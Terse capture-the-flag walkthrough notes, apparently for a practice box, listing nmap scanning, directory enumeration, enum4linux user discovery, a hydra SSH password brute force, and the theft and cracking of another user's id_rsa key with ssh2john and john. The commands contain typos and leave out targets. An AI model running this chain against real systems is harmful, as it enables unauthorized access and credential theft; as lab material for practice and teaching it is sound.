nmap -T4 -p- -sV -sC -O

2) DIRECTORY ENUMERATION

dirbuster&

paste the URL link in box and give wordlists and see result

3) RUN enum4linux tool to get usernames and workdomain

enum4linux -a

4)BRUTEFORCE PASSWORD FOR USER WE GOT IN EUNM4LINUX

hydra -l username/username.txt -P /rockyou.txt ssh

5) After Getting password for user login with ssh

ssh userIP

get the id_rsa file of other user

6) now crack the id_rsa file pass

copy id_rsa text and in our terminal make a file name as id_rsa and paste its content in it

convert id_rsa file in hash with ssh2john tool - ssh2john id_rsa > key

now we have hash in KEY file

now

john jey --worlkist=/rockyou.txt

now we got the password for other user

now chmod 600 id_rsa

now ssh 2nduserIP and enter the password and get the flag